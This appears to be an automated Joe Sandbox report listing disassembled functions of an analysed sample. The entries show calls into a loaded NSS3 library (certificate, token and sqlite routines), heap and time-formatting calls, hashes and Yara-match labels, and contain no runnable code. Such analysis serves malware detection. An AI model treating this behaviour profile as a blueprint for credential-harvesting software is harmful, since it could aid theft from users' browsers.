Part of subcall function 6C781200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C78129A
Part of subcall function 6C781200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7812A1

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 6a967633e2c8c5411aff5f61a504349dd194e861f38ad9055c1465cf3158c7bd
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: AA21D4B1E113454BE700DF54AE8CBAA3768AF9130CF214279DE185B742F7B1E698C292

Function 6C74ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C74ACC2

Part of subcall function 6C722F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C722F0A
Part of subcall function 6C722F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C722F1D

Part of subcall function 6C722AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C720A1B,00000000), ref: 6C722AF0
Part of subcall function 6C722AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C722B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C74AD5E

Part of subcall function 6C7657D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C72B41E,00000000,00000000,?,00000000,?,6C72B41E,00000000,00000000,00000001,?), ref: 6C7657E0
Part of subcall function 6C7657D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C765843

CERT_DestroyCertList.NSS3(?), ref: 6C74AD36

Part of subcall function 6C722F50: CERT_DestroyCertificate.NSS3(?), ref: 6C722F65
Part of subcall function 6C722F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C722F83

free.MOZGLUE(?), ref: 6C74AD4F

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 08fc115efd6798eb76020ebb3cbbc3cd3e6d94ce953f2d2ed2d98e0bbbe3b2c4
Instruction ID: f57bc49cab4a634c4128d040c93e3e4ec007e9f697aa8088bffa1ec4d4bd0eb2
Opcode Fuzzy Hash: 08fc115efd6798eb76020ebb3cbbc3cd3e6d94ce953f2d2ed2d98e0bbbe3b2c4
Instruction Fuzzy Hash: 1D21D8B1D002148BEB11DF68DA0E5EEB7B4EF05228F058078D80577B01F731AA55CBE1

Function 6C773C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C773C9E
EnterCriticalSection.KERNEL32(?), ref: 6C773CAE
PR_Unlock.NSS3(?), ref: 6C773CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C773D02

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 133a2a4fa68f77f73c0d57bba45a389dae078e424f912081b13568713cbd9c7f
Instruction ID: 7ae3fecf5244d0537990261f68aa58f407ff0f7abe32fab6ed14eda703e2558a
Opcode Fuzzy Hash: 133a2a4fa68f77f73c0d57bba45a389dae078e424f912081b13568713cbd9c7f
Instruction Fuzzy Hash: B411B475A00218AFDB10AF24D949A9A3778EF49368F194470EC088B712E730ED54C7E1

Function 00418950 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E10,00000000,?), ref: 004189BF
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E10,00000000,?), ref: 004189C6
wsprintfA.USER32 ref: 004189E0

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

%dx%d, xrefs: 004189D7

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: 1a001bca3f565143e81130c797a5c6902db2b2322f06df86b5277f64a988cf2a
Instruction ID: ec511e81278765dc739de052021e02f912fcc6e2b9c8bb96b49730fbd7d6010e
Opcode Fuzzy Hash: 1a001bca3f565143e81130c797a5c6902db2b2322f06df86b5277f64a988cf2a
Instruction Fuzzy Hash: 8B217FB1E45214AFDB00DFD4DC45FAEBBB9FB48710F10411AFA05A7280D779A900CBA5

Function 6C77ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C77F0AD,6C77F150,?,6C77F150,?,?,?), ref: 6C77ECBA

Part of subcall function 6C780FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
Part of subcall function 6C780FF0: PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016
Part of subcall function 6C780FF0: PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C77ECD1

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C77ED02

Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C77ED5A

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 605a8494ddfa2b22f335e2bccb990784232fc9150fada78a2aef8ae9b1442707
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: FA21C2B1A017465FE710CF25DB49B92B7E4AFA434CF25C225A81C87661EB70E594C6E0

Function 6C7AEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C797FFA,?,6C799767,?,8B7874C0,0000A48E), ref: 6C7AEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C797FFA,?,6C799767,?,8B7874C0,0000A48E), ref: 6C7AEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C797FFA,?,6C799767,?,8B7874C0,0000A48E), ref: 6C7AEE14

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

memcpy.VCRUNTIME140(?,?,6C799767,00000000,00000000,6C797FFA,?,6C799767,?,8B7874C0,0000A48E), ref: 6C7AEE33

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 603dafaafc21202d04382ddd983ee5acf8b1ce86dac3b9fbf2a485192ed1c443
Instruction ID: 82c5499346d89e38e22230d17ac99cbe203f2169b724bf72038b5aa2f2cb14e4
Opcode Fuzzy Hash: 603dafaafc21202d04382ddd983ee5acf8b1ce86dac3b9fbf2a485192ed1c443
Instruction Fuzzy Hash: C111A3B1A0571AABEB109EA5DE88B06B3ACEB0035DF244635E91982A41E331E475C7E1

Function 6C748DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C748DE7
EnterCriticalSection.KERNEL32 ref: 6C748DFC
PR_Unlock.NSS3 ref: 6C748E2D
PR_SetError.NSS3 ref: 6C748E49

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 4335bfb5ec132bd726b2472473f82641f0e908eeaf41bc539e16a164ffba016e
Instruction ID: 42a6984e27de46e7e2ba71044697ae36df34757708c8e8a917a9e8574139abb2
Opcode Fuzzy Hash: 4335bfb5ec132bd726b2472473f82641f0e908eeaf41bc539e16a164ffba016e
Instruction Fuzzy Hash: 8E118F716056159FD700AF78C54865ABBF4FF45318F068969DC88D7B01E730E854CBD2

Function 00417B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DE8,00000000,?), ref: 00417B40
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DE8,00000000,?), ref: 00417B47
GetLocalTime.KERNEL32(?,?,?,?,?,00420DE8,00000000,?), ref: 00417B54
wsprintfA.USER32 ref: 00417B83

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 0540aeb4fecf84a9ec5d2ba81123392b91a3586b08fb2a3d433314a2c6e1e60a
Instruction ID: c3980473cd5af67d898b1e7796d4e9c7fbcb3b6a311921eeb92eb57329937120
Opcode Fuzzy Hash: 0540aeb4fecf84a9ec5d2ba81123392b91a3586b08fb2a3d433314a2c6e1e60a
Instruction Fuzzy Hash: D4112AB2D09218ABCB14DBC9DD45BBEB7B9EB4CB11F10411AF605A2280E3395940C7B5

Function 6C7CAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C7B5F17,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7CAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C7B5F17,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7CACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7CACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7CACDB

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: c7d2f01a90ffdf5e95d773f3dfdee36407e5de45ff4d2f9f59021980599cdf05
Instruction ID: c81b2e456d85d72c98c5ff9e28a0f5899723ba2eb59f2028ed892510747d48fa
Opcode Fuzzy Hash: c7d2f01a90ffdf5e95d773f3dfdee36407e5de45ff4d2f9f59021980599cdf05
Instruction Fuzzy Hash: 850129B5701B129BEB60DF2ADA09657B7E8BB107AAB144839D85AC3E00E731E454CBD1

Function 6C731DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C731DFB

Part of subcall function 6C7295B0: TlsGetValue.KERNEL32(00000000,?,6C7400D2,00000000), ref: 6C7295D2
Part of subcall function 6C7295B0: EnterCriticalSection.KERNEL32(?,?,?,6C7400D2,00000000), ref: 6C7295E7
Part of subcall function 6C7295B0: PR_Unlock.NSS3(?,?,?,?,6C7400D2,00000000), ref: 6C729605

PR_EnterMonitor.NSS3 ref: 6C731E09

Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90AB
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90C9
Part of subcall function 6C7E9090: EnterCriticalSection.KERNEL32 ref: 6C7E90E5
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E9116
Part of subcall function 6C7E9090: LeaveCriticalSection.KERNEL32 ref: 6C7E913F

Part of subcall function 6C72E190: PR_EnterMonitor.NSS3(?,?,6C72E175), ref: 6C72E19C
Part of subcall function 6C72E190: PR_EnterMonitor.NSS3(6C72E175), ref: 6C72E1AA
Part of subcall function 6C72E190: PR_ExitMonitor.NSS3 ref: 6C72E208
Part of subcall function 6C72E190: PL_HashTableRemove.NSS3(?), ref: 6C72E219
Part of subcall function 6C72E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C72E231
Part of subcall function 6C72E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C72E249
Part of subcall function 6C72E190: PR_ExitMonitor.NSS3 ref: 6C72E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C731E37
PR_ExitMonitor.NSS3 ref: 6C731E4A

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: a8db0695fecf6ee33cbfa668816bea4b28b071fff1d737a45906cd2d895bf50c
Instruction ID: 80bde8d83fdf367b9cb9e6f0bc261cc5734416b0584857244d4a9144435a71c4
Opcode Fuzzy Hash: a8db0695fecf6ee33cbfa668816bea4b28b071fff1d737a45906cd2d895bf50c
Instruction Fuzzy Hash: BB01F7B2B8116597EB105A29EE08F427768AB52B4EF101030D41C97FD2E732E814CBD1

Function 6C731D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C731D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C731D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C731D9C
free.MOZGLUE(00000000), ref: 6C731DB8

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: c4fc5c0ab84ef9a171e928d01198b724dbf07bfbc0d45d1e5c389d797832dc63
Instruction ID: 03ff9a901f6b12a54a572cdd98248ffdcc1f4db83ad1f4272bcdebb93fa9f31f
Opcode Fuzzy Hash: c4fc5c0ab84ef9a171e928d01198b724dbf07bfbc0d45d1e5c389d797832dc63
Instruction Fuzzy Hash: 2DF049B261233057FF115E596E47B4777489B82B98F110235DE0C87F42E620E40082E1

Function 6C77FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C729003,?), ref: 6C77FD91

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

PORT_Alloc_Util.NSS3(A4686C78,?), ref: 6C77FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C78,?,?), ref: 6C77FDC4
free.MOZGLUE(00000000,?,?), ref: 6C77FDD1

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 5798f339cdcc4db2311485da19c41cd2d9a9f61f69693f389daad4548903ecf4
Instruction ID: 2030f3c15451204ecc6aea815d17709c9f17eb4fbe7e8f755b8f645ab1719c4b
Opcode Fuzzy Hash: 5798f339cdcc4db2311485da19c41cd2d9a9f61f69693f389daad4548903ecf4
Instruction Fuzzy Hash: A9F04CF160220A5BEF104F54DF95817BB58EF40299B108036ED0C8BB02E721D824C3F1

Function 6C83CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C83CC61
free.MOZGLUE ref: 6C83CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C83CC80
free.MOZGLUE(?), ref: 6C83CC87

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 5f469ab1fd77aec24ebc2d5c4ca993d115c65645ebad0ea87179f50579a5c9e7
Instruction ID: 138afd62260228fa3f23425c19ce47fef0a5a2c7a005bafbde6d4a6049970405
Opcode Fuzzy Hash: 5f469ab1fd77aec24ebc2d5c4ca993d115c65645ebad0ea87179f50579a5c9e7
Instruction Fuzzy Hash: F5E030B6700618ABCA10EFA9DC8888A77ACEE492753150535F691C3701E231F905CBE1

Function 6C719DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C719E1F

Part of subcall function 6C6D13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C6A2352,?,00000000,?,?), ref: 6C6D1413
Part of subcall function 6C6D13C0: memcpy.VCRUNTIME140(00000000,R#jl,00000002,?,?,?,?,6C6A2352,?,00000000,?,?), ref: 6C6D14C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6C71A006
ESCAPE expression must be a single character, xrefs: 6C719F78

